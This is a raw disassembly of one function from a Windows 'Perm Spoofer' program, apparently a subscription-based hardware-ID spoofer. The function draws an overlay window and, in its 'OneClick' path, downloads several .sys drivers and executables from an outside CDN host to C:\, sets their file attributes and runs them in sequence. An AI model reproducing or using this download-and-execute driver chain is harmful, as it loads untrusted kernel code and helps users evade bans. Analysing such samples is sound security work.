Function at 0x14003aba0
Capabilities:
Create process on windows
Create thread
Download url
Receive data
Set file attributes
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
lea rbp, [rsp - 0x4c0]
sub rsp, 0x5c0
movaps xmmword [rsp + 0x560], xmm11
mov rax, qword [0x1400c8080]
xor rax, rsp
mov qword [rbp + 0x410], rax
lea rcx, [0x14012c390]
call fcn.1400499f0
lea rax, [0x14003ce90]
mov dword [rbp + 0x270], 0x50
xor r12d, r12d
mov qword [rbp + 0x278], rax
xor ecx, ecx
mov dword [rbp + 0x274], 0x40
mov qword [rbp + 0x280], r12
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x288], rax
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x290], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov qword [rbp + 0x298], rax
xorps xmm0, xmm0
mov edx, 0x7f00
movdqa xmmword [rbp + 0x2a0], xmm0
lea rax, str.Class01
xor ecx, ecx
mov qword [rbp + 0x2b0], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x270]
mov qword [rbp + 0x2b8], rax
call qword [sym.imp.USER32.dll_RegisterClassExA]
cvttss2si edi, dword [0x14012b42c]
lea ecx, [r12 + 1]
cvttss2si esi, dword [0x14012b428]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x14012b42c]
xor ecx, ecx
movss xmm11, dword [0x1400b95ec]
cdq
sub eax, edx
mulss xmm0, xmm11
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si ebx, xmm1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x14012b428]
lea r8, str.NOTE_Perm_Spoofer
mov qword [rsp + 0x58], r12
cdq
mov qword [rsp + 0x50], r12
sub eax, edx
mov rdx, qword [rbp + 0x2b0]
mov r9d, 0x80000000
mov qword [rsp + 0x48], r12
xor ecx, ecx
mov qword [rsp + 0x40], r12
sar eax, 1
mov dword [rsp + 0x38], edi
mulss xmm0, xmm11
mov dword [rsp + 0x30], esi
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov dword [rsp + 0x28], ebx
subss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rcx, rax
mov qword [0x14012c2b0], rax
lea edx, [r12 - 0x14]
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov rcx, qword [0x14012c2b0]
lea edx, [r12 - 0x14]
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, qword [0x14012c2b0]
lea r9d, [r12 + 2]
mov r8b, 0xff
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x1400b9710]
lea rdx, [rbp + 0x330]
mov rcx, qword [0x14012c2b0]
movdqu xmmword [rbp + 0x330], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x14012c2b0]
lea rdx, [0x14012c2b8]
xorps xmm0, xmm0
movups xmmword [0x14012c2b8], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rax, qword [0x14012c2b0]
lea rcx, [rbp + 0x3a8]
mov qword [rbp + 0x250], rax
lea edx, [r12 + 1]
lea rax, [0x14012c998]
mov qword [rbp + 0x234], r12
mov qword [rsp + 0x58], rax
xor r9d, r9d
lea rax, [rbp + 0x320]
mov qword [rbp + 0x248], 2
mov qword [rsp + 0x50], rax
xor r8d, r8d
lea rax, [0x14012c990]
mov qword [rbp + 0x260], 2
mov qword [rsp + 0x48], rax
lea rax, [0x14012c988]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x220]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
mov qword [rsp + 0x20], rcx
xor ecx, ecx
mov qword [rbp + 0x220], r12
mov dword [rbp + 0x230], Ordinal_33
mov dword [rbp + 0x228], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x22c], 1
mov dword [rbp + 0x244], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x23c], 1
mov qword [rbp + 0x258], 1
mov dword [rbp + 0x3a8], 0xb000
mov dword [rbp + 0x3ac], 0xa000
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
je 0x14003aec4
call fcn.14003cda0
mov rdx, qword [rbp + 0x288]
mov rcx, qword [rbp + 0x2b0]
call qword [sym.imp.USER32.dll_UnregisterClassA]
lea eax, [r12 + 1]
jmp 0x14003cd4f
mov qword [rsp + 0x5f0], r13
mov qword [rsp + 0x5f8], r14
mov qword [rsp + 0x600], r15
movaps xmmword [rsp + 0x5b0], xmm6
movaps xmmword [rsp + 0x5a0], xmm7
movaps xmmword [rsp + 0x590], xmm8
movaps xmmword [rsp + 0x580], xmm9
movaps xmmword [rsp + 0x570], xmm10
movaps xmmword [rsp + 0x550], xmm12
movaps xmmword [rsp + 0x540], xmm13
movaps xmmword [rsp + 0x530], xmm14
movaps xmmword [rsp + 0x520], xmm15
call fcn.14003ce20
mov rcx, qword [0x14012c2b0]
mov edx, 0xa
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x14012c2b0]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rcx, qword [0x14012c2b0]
lea rdx, [rbp + 0x210]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [rbp + 0x210]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r15, rax
call fcn.140007f30
mov rcx, qword [0x14012c290]
mov qword [rcx + 0x20], r12
xor ecx, ecx
call fcn.140023630
mov rcx, qword [0x14012c290]
mov dword [rcx + 0x37f0], 0x41100000
mov qword [rcx + 0x37e8], r12
call fcn.14002d400
call fcn.14002d260
call fcn.14003a880
lea rcx, [rbp + 0x370]
mov byte [rbp + 0x2c0], 1
mov qword [rbp + 0x218], r12
call fcn.140039650
mov rcx, qword [0x14012c990]
lea rax, [rbp + 0x218]
mov qword [rsp + 0x30], r12
lea r9, [rbp + 0x370]
mov qword [rsp + 0x28], rax
lea rdx, [0x140113b50]
mov r8d, 0x178d2
mov qword [rsp + 0x20], r12
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
lea rcx, [0x14012c648]
call fcn.14003d650
mov ecx, dword [0x14012c648]
test al, al
je 0x14003b05f
cmp ecx, 6
ja 0x14003b05f
mov rcx, qword [0x14012c2b0]
lea r8, str.Error
mov r9d, reloc.WS2_32.dll_recv
lea rdx, str.your_operating_system_is_not_supported
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rdi, qword [0x14012c290]
test rdi, rdi
je 0x14003cb6e
mov rbx, qword [rdi + 0xa0]
jmp 0x14003cb71
cmp byte [rbp + 0x2c0], r12b
je 0x14003b043
movss xmm13, dword [0x1400b9624]
movabs r13, 0x7fffffffffffffff
movss xmm10, dword [0x1400b96f8]
movss xmm12, dword [0x1400b964c]
movss xmm14, dword [0x1400b9680]
movss xmm15, dword [0x1400b96b8]
nop
cmp ecx, 6
jbe 0x14003b043
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rbp + 0x340]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14003b128
nop word [rax + rax]
lea rcx, [rbp + 0x340]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x340]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x348], 0x12
jne 0x14003b107
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rbp + 0x340]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x14003b0d0
cmp byte [rbp + 0x2c0], r12b
je 0x14003b043
call fcn.14002d3d0
call fcn.14002df30
call fcn.140009b20
lea r8, [rbp + 0x3a8]
mov qword [rbp + 0x3a8], r12
mov edx, 4
mov qword [rbp + 0x320], r12
lea rcx, [rbp + 0x320]
call fcn.140012880
xor edx, edx
lea rcx, [0x14012b428]
call fcn.1400128c0
lea r8d, [rdx + 0x2b]
lea rdx, [rbp + 0x2c0]
lea rcx, str.NOTE_Perm_Spoofer
call fcn.14000fc40
call fcn.14003a7c0
mov rbx, qword [0x14012c290]
mov ecx, dword [0x14012c678]
mov rax, qword [rbx + 0x3ea0]
movss xmm8, dword [rax + 0x20]
movss xmm7, dword [rax + 0x18]
movaps xmm6, xmm8
movss xmm9, dword [rax + 0x24]
mulss xmm6, xmm11
test ecx, ecx
jne 0x14003b245
subss xmm6, dword [0x1400b968c]
mov dword [rbp - 4], 0x421c0000
movss dword [rbp - 8], xmm6
call fcn.1400128f0
mov edx, 0xff
lea rcx, [rbp + 0x1d0]
mov r9d, edx
mov r8d, edx
mov r10, rax
call fcn.140001c80
mov rcx, rax
call fcn.140005660
addss xmm6, dword [0x1400b969c]
mov dword [rsp + 0x30], eax
lea r9, [rbp - 0x10]
lea rax, [rbp - 0x20]
mov dword [rbp - 0x20], 0x3f800000
mov qword [rsp + 0x28], rax
lea r8, [rbp - 8]
mov dword [rbp - 0x1c], 0x3f800000
lea rax, [rbp - 0x58]
movss dword [rbp - 0x10], xmm6
mov qword [rbp - 0x58], r12
mov dword [rbp - 0xc], 0x42f80000
jmp 0x14003b2cc
cmp dword [0x14012b468], r12d
subss xmm6, dword [0x1400b9698]
mov dword [rbp - 0x14], 0x426c0000
movss dword [rbp - 0x18], xmm6
jne 0x14003b2e6
call fcn.1400128f0
mov edx, 0xff
lea rcx, [rbp + 0x1e0]
mov r9d, edx
mov r8d, edx
mov r10, rax
call fcn.140001c80
mov rcx, rax
call fcn.140005660
addss xmm6, dword [0x1400b96ac]
mov dword [rsp + 0x30], eax
lea r9, [rbp + 0x10]
lea rax, [rbp]
mov dword [rbp], 0x3f800000
mov qword [rsp + 0x28], rax
lea r8, [rbp - 0x18]
mov dword [rbp + 4], 0x3f800000
lea rax, [rbp + 8]
movss dword [rbp + 0x10], xmm6
mov qword [rbp + 8], r12
mov dword [rbp + 0x14], 0x43510000
mov rdx, qword [rbp + 0x218]
mov rcx, r10
mov qword [rsp + 0x20], rax
call fcn.1400272a0
mov ecx, dword [0x14012c678]
test ecx, ecx
je 0x14003c83f
cmp ecx, 1
jne 0x14003ca96
movss xmm2, dword [0x1400b95b8]
movaps xmm1, xmm13
movss xmm0, dword [0x14012b430]
call fcn.14003d4d0
lea rcx, [rbp + 0x18]
movss dword [0x14012b430], xmm0
mov dword [rbp + 0x18], 0x41500000
mov dword [rbp + 0x1c], 0x41100000
call fcn.140013e30
mov rdx, qword [0x14012b478]
mov ebx, r12d
mov r9, qword [0x14012b470]
mov rax, rdx
sub rax, r9
mov rdi, r12
sar rax, 3
test rax, rax
je 0x14003b3f4
nop word [rax + rax]
cmp dword [0x14012b468], ebx
sete r8b
sub rdx, r9
sar rdx, 3
cmp rdx, rdi
jbe 0x14003cd7b
mov rdx, qword [r9 + rdi*8]
call fcn.140002170
test al, al
je 0x14003b39c
cmp dword [0x14012b468], ebx
je 0x14003b39c
mov dword [0x14012b468], ebx
mov dword [0x14012b430], r12d
mov rdx, qword [0x14012b478]
mov r9, qword [0x14012b470]
mov rcx, rdx
sub rcx, r9
movsxd rax, ebx
sar rcx, 3
dec rcx
cmp rax, rcx
je 0x14003b3d9
movaps xmm1, xmm10
xorps xmm0, xmm0
call fcn.140013d80
mov rdx, qword [0x14012b478]
mov r9, qword [0x14012b470]
inc ebx
mov rcx, rdx
sub rcx, r9
movsxd rax, ebx
sar rcx, 3
inc rdi
cmp rax, rcx
jb 0x14003b360
mov eax, dword [0x14012b468]
test eax, eax
je 0x14003b7e0
cmp eax, 3
jne 0x14003c7da
movaps xmm0, xmm12
call fcn.140013e90
call fcn.1400140e0
lea rcx, [0x14012c510]
call fcn.140002820
mov rdx, rax
lea rcx, str.Linked_HWID:__s
call fcn.140030d00
lea rcx, [0x14012c4f0]
call fcn.140002820
mov rdx, rax
lea rcx, str.Linked_IP:__s
call fcn.140030d00
mov rcx, qword [0x14012c578]
mov r14d, r12d
mov rdx, qword [0x14012c570]
mov rax, rcx
sub rax, rdx
sar rax, 6
test rax, rax
je 0x14003b7d6
mov rbx, r12
nop word [rax + rax]
sub rcx, rdx
sar rcx, 6
cmp rcx, rbx
jbe 0x14003cd75
shl rbx, 6
lea rcx, [rbp + 0x220]
add rbx, rdx
mov rdx, rbx
call fcn.1400031e0
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x240]
call fcn.1400031e0
cmp qword [rbp + 0x258], 0xf
lea rsi, [rbp + 0x240]
mov rdi, qword [rbp + 0x250]
xorps xmm0, xmm0
cmova rsi, qword [rbp + 0x240]
mov qword [rbp + 0x2d8], r12
mov qword [rbp + 0x2e0], r12
movups xmmword [rbp + 0x2c8], xmm0
cmp rdi, r13
ja 0x14003cd87
cmp rdi, 0xf
ja 0x14003b523
mov qword [rbp + 0x2d8], rdi
lea rcx, [rbp + 0x2c8]
mov qword [rbp + 0x2e0], reloc.WS2_32.dll_ntohs
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x2c8], xmm0
jmp 0x14003b5d5
mov rbx, rdi
or rbx, 0xf
cmp rbx, r13
jbe 0x14003b542
movabs rax, 0x8000000000000000
mov rbx, r13
add rax, 0x27
jmp 0x14003b569
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14003b58b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14003cd81
mov rcx, rax
call fcn.1400a0a50
mov rcx, rax
test rax, rax
je 0x14003cb36
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14003b59a
test rcx, rcx
je 0x14003b597
call fcn.1400a0a50
jmp 0x14003b59a
mov rax, r12
lea r8, [rdi + 1]
mov qword [rbp + 0x2c8], rax
mov rdx, rsi
mov qword [rbp + 0x2d8], rdi
mov rcx, rax
mov qword [rbp + 0x2e0], rbx
call sub.VCRUNTIME140.dll_memcpy
cmp qword [rbp + 0x2e0], 0xf
lea rcx, [rbp + 0x2c8]
cmova rcx, qword [rbp + 0x2c8]
xor edx, edx
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov rdx, qword [rbp + 0x2e0]
movsxd rbx, eax
cmp rdx, 0xf
jbe 0x14003b625
mov rcx, qword [rbp + 0x2c8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003b620
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cb36
call fcn.1400a0cd4
lea rdx, [rbp + 0x328]
mov qword [rbp + 0x2d8], r12
lea rcx, [rsp + 0x60]
mov qword [rbp + 0x2e0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2c8], r12b
mov qword [rbp + 0x328], rbx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rsp + 0x60]
mov eax, dword [rbp - 0x80]
lea r9, [rbp + 0x2f0]
movups xmm1, xmmword [rsp + 0x70]
lea r8, str._a__m__d__y__H:_M:_S__Z
mov edx, 0x50
lea rcx, [rbp + 0x3c0]
movaps xmmword [rbp + 0x2f0], xmm0
movaps xmmword [rbp + 0x300], xmm1
mov dword [rbp + 0x310], eax
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp - 0x78]
call fcn.140002920
cmp qword [rbp - 0x60], 0xf
lea r8, [rbp - 0x78]
lea rdx, [rbp + 0x220]
cmova r8, qword [rbp - 0x78]
lea rcx, str.Subscription:__s__nExpiry:__s
cmp qword [rbp + 0x238], 0xf
cmova rdx, qword [rbp + 0x220]
call fcn.140030d00
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14003b714
mov rcx, qword [rbp - 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003b70f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cb3d
call fcn.1400a0cd4
mov rdx, qword [rbp + 0x258]
cmp rdx, 0xf
jbe 0x14003b755
mov rcx, qword [rbp + 0x240]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003b750
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cb44
call fcn.1400a0cd4
mov rdx, qword [rbp + 0x238]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x240], r12b
cmp rdx, 0xf
jbe 0x14003b7af
mov rcx, qword [rbp + 0x220]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003b7aa
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cb44
call fcn.1400a0cd4
mov rcx, qword [0x14012c578]
inc r14d
mov rdx, qword [0x14012c570]
mov rax, rcx
sub rax, rdx
movsxd rbx, r14d
sar rax, 6
cmp rbx, rax
jb 0x14003b480
call fcn.140014210
jmp 0x14003c7da
movaps xmm6, xmm9
addss xmm7, xmm13
subss xmm6, dword [0x1400b9688]
movss dword [rbp + 0x28], xmm7
movss dword [rbp + 0x2c], xmm6
call fcn.1400128f0
mov edx, reloc.WS2_32.dll_socket
lea rcx, [rbp + 0x1f0]
mov r9d, edx
mov r8d, edx
mov r10, rax
call fcn.140001c80
mov rcx, rax
call fcn.140005660
movaps xmm0, xmm8
mov dword [rsp + 0x28], 0xc0
subss xmm0, xmm13
mov r9d, eax
lea r8, [rbp + 0x20]
mov rcx, r10
lea rdx, [rbp + 0x28]
addss xmm0, xmm7
movss dword [rbp + 0x20], xmm0
movaps xmm0, xmm6
addss xmm0, xmm14
movss dword [rbp + 0x24], xmm0
movss xmm0, dword [0x1400b9664]
movss dword [rsp + 0x20], xmm0
call fcn.140026ee0
addss xmm6, dword [0x1400b966c]
addss xmm7, dword [0x1400b9670]
addss xmm6, xmm13
movss dword [rbp + 0x30], xmm7
movss dword [rbp + 0x34], xmm6
call fcn.1400128f0
mov edx, __WSAFDIsSet
lea rcx, [rbp + 0x200]
mov r10, rax
lea r9d, [rdx - 0x29]
lea r8d, [rdx + 0x45]
call fcn.140001c80
mov rcx, rax
call fcn.140005660
movss xmm2, dword [0x1400b9658]
lea rdx, [rbp + 0x30]
mov r9d, eax
mov dword [rsp + 0x20], r12d
mov rcx, r10
call fcn.1400271e0
movaps xmm0, xmm9
mov dword [rbp + 0x38], 0x41d80000
subss xmm0, xmm14
lea rcx, [rbp + 0x38]
movss dword [rbp + 0x3c], xmm0
call fcn.140013e30
lea rcx, str.Status:_Online
call fcn.140030d00
subss xmm8, dword [0x1400b96c4]
lea rcx, [rbp + 0x40]
mov dword [rbp + 0x44], 0x435c0000
mulss xmm8, xmm11
movss dword [rbp + 0x40], xmm8
call fcn.140013e30
lea rdx, [rbp + 0x48]
mov dword [rbp + 0x48], 0x43b30000
lea rcx, str.OneClick
mov dword [rbp + 0x4c], 0x42040000
call fcn.140031ce0
test al, al
je 0x14003c1c8
lea rcx, [rbp + 0x2f0]
call fcn.14003cd90
lea rdx, str.https:__oneee.b_cdn.net_new.sys
lea rcx, [rbp + 0x110]
call fcn.140002920
lea rdx, str.https:__oneee.b_cdn.net_novgc.exe
lea rcx, [rbp + 0x130]
call fcn.140002920
lea rdx, str.https:__oneee.b_cdn.net_random.sys
lea rcx, [rbp + 0x150]
call fcn.140002920
lea rdx, str.https:__oneee.b_cdn.net_SystemCheck.exe
lea rcx, [rbp + 0x170]
call fcn.140002920
lea rdx, str.https:__oneee.b_cdn.net_UD.sys
lea rcx, [rbp + 0x190]
call fcn.140002920
lea rdx, str.https:__oneee.b_cdn.net_WinD64.secret.syshttps:__oneee.b_cdn.net_TP.sys
lea rcx, [rbp + 0x1b0]
call fcn.140002920
lea rax, [rbp + 0x110]
mov qword [rbp + 0xc0], rax
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x1d0]
lea rcx, [rbp + 0x2f0]
mov qword [rbp + 0xc8], rax
call fcn.14003cf80
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea r9, [fcn.1400028c0]
lea rcx, [rbp + 0x110]
lea r8d, [rdx - 0x1a]
call fcn.1400a0d08
lea rcx, [rbp + 0x2c8]
call fcn.14003cd90
lea rdx, str.C:_new.sys
lea rcx, [rbp + 0x110]
call fcn.140002920
lea rdx, str.C:_novgc.exe
lea rcx, [rbp + 0x130]
call fcn.140002920
lea rdx, str.C:_random.sys
lea rcx, [rbp + 0x150]
call fcn.140002920
lea rdx, str.C:SystemCheck.exe
lea rcx, [rbp + 0x170]
call fcn.140002920
lea rdx, str.C:UD.sys
lea rcx, [rbp + 0x190]
call fcn.140002920
lea rdx, str.C:WinD64.secret.sysC:TP.sys
lea rcx, [rbp + 0x1b0]
call fcn.140002920
lea rax, [rbp + 0x110]
mov qword [rbp + 0xd0], rax
lea rdx, [rbp + 0xd0]
lea rax, [rbp + 0x1d0]
lea rcx, [rbp + 0x2c8]
mov qword [rbp + 0xd8], rax
call fcn.14003cf80
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea r9, [fcn.1400028c0]
lea rcx, [rbp + 0x110]
lea r8d, [rdx - 0x1a]
call fcn.1400a0d08
mov rax, qword [rbp + 0x2f8]
mov rdi, r12
mov rcx, qword [rbp + 0x2f0]
sub rax, rcx
sar rax, 5
test rax, rax
je 0x14003bb66
mov rbx, r12
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [rbp + 0x2c8]
lea rdx, [rcx + rbx]
add r8, rbx
cmp qword [r8 + 0x18], 0xf
jbe 0x14003bb18
mov r8, qword [r8]
cmp qword [rdx + 0x18], 0xf
jbe 0x14003bb22
mov rdx, qword [rdx]
xor r9d, r9d
mov qword [rsp + 0x20], r12
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
js 0x14003bb45
mov rcx, qword [rbp + 0x2c8]
add rcx, rbx
call fcn.14003a960
mov rax, qword [rbp + 0x2f8]
inc rdi
mov rcx, qword [rbp + 0x2f0]
add rbx, 0x20
sub rax, rcx
sar rax, 5
cmp rdi, rax
jb 0x14003bb00
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov qword [rsp + 0x68], r12
call fcn.1400a0a50
movups xmm0, xmmword [str.C:WinD64.secret.sys]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], reloc.WS2_32.dll_sendto
movups xmmword [rax], xmm0
mov ecx, dword [0x1400b93b0]
mov dword [rax + 0x10], ecx
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov qword [rsp + 0x78], Ordinal_33
mov byte [rax + 0x14], r12b
mov qword [rbp - 0x70], r12
call fcn.1400a0a50
movups xmm0, xmmword [str.C:SystemCheck.exe]
lea rdx, [rsp + 0x60]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x68], reloc.WS2_32.dll_select
movups xmmword [rax], xmm0
movzx ecx, word [0x1400b9368]
mov word [rax + 0x10], cx
lea rcx, [rbp - 0x78]
mov qword [rbp - 0x60], Ordinal_33
mov byte [rax + 0x12], r12b
call fcn.14003a980
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14003bc32
mov rcx, qword [rbp - 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003bc2d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cb4b
call fcn.1400a0cd4
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14003bc6f
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003bc6a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cb4b
call fcn.1400a0cd4
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, word [0x1400b9330]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov qword [rsp + 0x70], 0xa
movsd xmm0, qword [str.C:_new.sys]
movsd qword [rsp + 0x60], xmm0
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov word [rsp + 0x68], ax
mov byte [rsp + 0x6a], r12b
mov qword [rbp - 0x70], r12
call fcn.1400a0a50
movups xmm0, xmmword [str.C:SystemCheck.exe]
lea rdx, [rsp + 0x60]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x68], reloc.WS2_32.dll_select
movups xmmword [rax], xmm0
movzx ecx, word [0x1400b9368]
mov word [rax + 0x10], cx
lea rcx, [rbp - 0x78]
mov qword [rbp - 0x60], Ordinal_33
mov byte [rax + 0x12], r12b
call fcn.14003a980
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14003bd37
mov rcx, qword [rbp - 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003bd32
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cb4b
call fcn.1400a0cd4
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14003bd74
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003bd6f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cb4b
call fcn.1400a0cd4
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x1400b9350]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
movsd xmm0, qword [str.C:_random.sys]
mov dword [rsp + 0x68], eax
movzx eax, byte [reloc.WS2_32.dll_WSAStartup]
mov byte [rsp + 0x6c], al
mov word [rsp + 0x6e], r12w
mov qword [rsp + 0x70], reloc.WS2_32.dll_listen
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
movsd qword [rsp + 0x60], xmm0
mov byte [rsp + 0x6d], r12b
mov qword [rbp - 0x70], r12
call fcn.1400a0a50
movups xmm0, xmmword [str.C:SystemCheck.exe]
lea rdx, [rsp + 0x60]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x68], reloc.WS2_32.dll_select
movups xmmword [rax], xmm0
movzx ecx, word [0x1400b9368]
mov word [rax + 0x10], cx
lea rcx, [rbp - 0x78]
mov qword [rbp - 0x60], Ordinal_33
mov byte [rax + 0x12], r12b
call fcn.14003a980
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14003be43
mov rcx, qword [rbp - 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003be3e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cb4b
call fcn.1400a0cd4
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14003be80
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003be7b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003cb4b
call fcn.1400a0cd4
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, byte [reloc.WS2_32.dll_WSAStartup]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov qword [rsp + 0x70], 9
movsd xmm0, qword [str.C:UD.sys]
movsd qword [rsp + 0x60], xmm0
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], al
mov byte [rsp + 0x69], r12b
mov qword [rbp - 0x70], r12
call fcn.1400a0a50
movups xmm0, xmmword [str.C:SystemCheck.exe]
lea rdx, [rsp + 0x60]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x68], reloc.WS2_32.dll_select
movups xmmword [rax], xmm0
movzx ecx, word [0x1400b9368]
mov word [rax + 0x10], cx
lea rcx, [rbp - 0x78]
mov qword [rbp - 0x60], Ordinal_33
mov byte [rax + 0x12], r12b
call fcn.14003a980
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14003bf47
mov rcx, qword [rbp - 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003bf42
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
